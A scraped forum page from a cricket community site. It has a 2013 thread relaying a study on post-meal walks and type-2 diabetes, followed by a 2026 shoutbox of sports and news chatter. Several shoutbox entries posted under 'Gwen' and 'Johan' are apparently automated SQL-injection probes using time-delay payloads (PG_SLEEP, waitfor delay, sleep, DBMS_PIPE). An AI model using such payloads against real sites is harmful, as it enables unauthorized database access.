>
  1. Forum
  3. Political Opinions, Commentaries on Current Issues
  5. The Water Cooler!
  7. A 15-Minute Walk After Every Meal Can Control Type-2 Diabetes In Older People

A 15-Minute Walk After Every Meal Can Control Type-2 Diabetes In Older People

More
12 Jun 2013 11:29 #141034 by chairman
A new study has revealed that a short 15-minute walk after every meal can regulate blood sugar levels in the body and minimize the risk of developing type 2 diabetes.

Several researches have shown significant benefits of physical activity which keeps the blood flow in the body intact and the heart healthy. A new study has found the key to control type-2 diabetes, particularly in older adults. A 15-minute stroll after every meal can significantly reduce the blood sugar levels in the body and help minimize the risk of cardiovascular diseases. The study found that 15-minute walks after each meal were more effective than a continuous walk up to three hours following an evening meal.
Always tell someone how you feel because opportunities are lost in the blink of an eye but regret can last a lifetime.
cricketwindies.com/forum/

Please Log in or Create an account to join the conversation.

  • VillageBelle
  • Visitor
  • Visitor
12 Jun 2013 15:14 #141107 by VillageBelle
great idea.....but one has to make the time after each meal

lunch and dinner easy for me.....i do that now

but breaky?....i would have to wake up even earlier  :( .....no can do.....but then again my breaky are fairly small (even though some say it should be the biggest meal of your day!!)

Please Log in or Create an account to join the conversation.

  • The Captain
  • Visitor
  • Visitor
12 Jun 2013 16:22 #141119 by The Captain
have hubby prepare the meal early and you do your walk to work

Please Log in or Create an account to join the conversation.

  1. Forum
  3. Political Opinions, Commentaries on Current Issues
  5. The Water Cooler!
  7. A 15-Minute Walk After Every Meal Can Control Type-2 Diabetes In Older People
Time to create page: 0.094 seconds
AlecIf they know it’s rainy season in Jamaica why schedule games for this time? That means Sri Lanka wins the series 1-0 with a whole bunch of time and money down the drain smh.(10.06.2026, 12:34)(12:34)0
villagebelleread the thread villagebelle(22.05.2026, 19:22)(19:22)0
Madelyncreate villagebelle again(22.05.2026, 19:10)(19:10)0
Madelyncreate a new one villagebelle(22.05.2026, 19:08)(19:08)0
KateWTH am I showing up as Kate???(21.05.2026, 19:45)(19:45)0
KateHello Krish. how are you? I need a PW so I can sign in to say hello. Changed computer. Villagebelle(21.05.2026, 19:42)(19:42)0
AlecIs your high school crush still attractive?(19.05.2026, 06:23)(06:23)0
TristonFormer Miami Congressman David Rivera is convicted of secretly lobbying for Maduro’s Venezuela(02.05.2026, 17:39)(17:39)0
TristonAn East Canje, Berbice man was on Thursday remanded to prison after being charged with the attempted murder of his former lover, whom he is accused of shooting.

The accused, Damion Morgan, 28, of Fort Ordinance, East Canje, Berbice, appeared at the New Amsterdam Magistrate’s Court, where he was charged with attempted murder and discharging a loaded firearm with intent, committed against Vasanti Gordon of Islington Village, East Bank Berbice.		(23.04.2026, 18:18)(18:18)0
TristonWest Indies Championship… Harpy Eagles begin title defence with win, Scorpions shock Pride(16.04.2026, 19:28)(19:28)0
TristonMichigan installed as early favorite over UConn in national title game despite Lendeborg injury(05.04.2026, 12:52)(12:52)0
TristonSouth Carolina meets UCLA in NCAA women’s title game seeking a 4th title as Bruins chase their 1st(05.04.2026, 11:58)(11:58)0
TristonJudge halts Trump effort requiring colleges to show they aren’t considering race in admissions(05.04.2026, 11:57)(11:57)0
ChanningExxonMobil Guyana President says Guyanese now make up 70% of oil workforce(22.03.2026, 18:57)(18:57)0
ketchimDhall and Rice !(13.03.2026, 13:41)(13:41)0
AlecWhat food instantly reminds you of home?(10.03.2026, 18:59)(18:59)0
ketchimWorld Cup T20 Umpire cheat us on Hettie LBW(05.03.2026, 19:01)(19:01)0
ketchimIndia win Semi FinalT20 World Cup by 7 runs vs. England !(05.03.2026, 13:43)(13:43)0
RolandAn Alabama circuit judge on Monday denied Alabama basketball player Charles Bediako’s motion for a preliminary injunction, ending the 7-foot center’s collegiate eligibility and his season with the Crimson Tide.(10.02.2026, 12:32)(12:32)0
JacquelineICC travel to Pakistan and Game will Play !(10.02.2026, 11:24)(11:24)0
JosephineSeattle opened as favorites, and they've earned that right, with fantastic play on both sides of the ball. We are leaning in their direction in what should be a high-scoring Super Bowl.(03.02.2026, 19:05)(19:05)0
MaleahBREAKING: The government of Pakistan has said that Pakistan will boycott their T20 World Cup match against India(01.02.2026, 12:02)(12:02)0
ketchimGot Florida Hass theodday from my buddy visiting here !(22.01.2026, 20:37)(20:37)0
ketchimICC tell Bangladseh they will be REPLACED !(22.01.2026, 20:17)(20:17)0
MaleahGuyanese people in Florida can't just go and catch a dozen or two dozen HASSA; they have to catch over 5 million.
This is called Greed		(07.01.2026, 14:14)(14:14)1
MaleahNow that Joe Root has 2 centuries in Australia, I assume those Australian fans, who said he couldn’t be classed as great unless he achieved that, will now say he is?? Given that the great Steve Smith has never scored a test ton in Pakistan….(05.01.2026, 13:31)(13:31)0
MaleahThe Bangladesh Cricket Board has formally asked the ICC to move all of Bangladesh’s matches out of India, citing safety and security concerns.

#T20WorldCup		(04.01.2026, 15:18)(15:18)0
Gwen20(03.01.2026, 14:42)(14:42)0
Gwen(select 198766*667891 from DUAL)(03.01.2026, 14:42)(14:42)0
Gwen(select 198766*667891)(03.01.2026, 14:42)(14:42)0
Gwen@@iBQ3X(03.01.2026, 14:42)(14:42)0
Gwen20'"(03.01.2026, 14:42)(14:42)0
Gwen20(03.01.2026, 14:42)(14:42)0
Gwen20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'(03.01.2026, 14:42)(14:42)0
Johan20(03.01.2026, 14:42)(14:42)0
Gwen20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)(03.01.2026, 14:41)(14:41)0
Gwen20F4owsBb6')) OR 756=(SELECT 756 FROM PG_SLEEP(15))--(03.01.2026, 14:41)(14:41)0
Gwen20axQfaI3h') OR 505=(SELECT 505 FROM PG_SLEEP(15))--(03.01.2026, 14:40)(14:40)0
Gwen20GCVWFMgw' OR 960=(SELECT 960 FROM PG_SLEEP(15))--(03.01.2026, 14:40)(14:40)0
Gwen20-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--(03.01.2026, 14:39)(14:39)0
Gwen20-1) OR 573=(SELECT 573 FROM PG_SLEEP(15))--(03.01.2026, 14:39)(14:39)0
Gwen20-1 OR 604=(SELECT 604 FROM PG_SLEEP(15))--(03.01.2026, 14:38)(14:38)0
Gwen20ZWzru47i'; waitfor delay '0:0:15' --(03.01.2026, 14:38)(14:38)0
Gwen20-1 waitfor delay '0:0:15' --(03.01.2026, 14:38)(14:38)0
Gwen20-1); waitfor delay '0:0:15' --(03.01.2026, 14:37)(14:37)0
Gwen20-1; waitfor delay '0:0:15' --(03.01.2026, 14:36)(14:36)0
Gwen(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/(03.01.2026, 14:36)(14:36)0
Gwen200"XOR(20*if(now()=sysdate(),sleep(15),0))XOR"Z(03.01.2026, 14:36)(14:36)0
Gwen200'XOR(20*if(now()=sysdate(),sleep(15),0))XOR'Z(03.01.2026, 14:35)(14:35)0
Gwen20*if(now()=sysdate(),sleep(15),0)(03.01.2026, 14:35)(14:35)0
Hayes
Powered by The Krotek
Go to top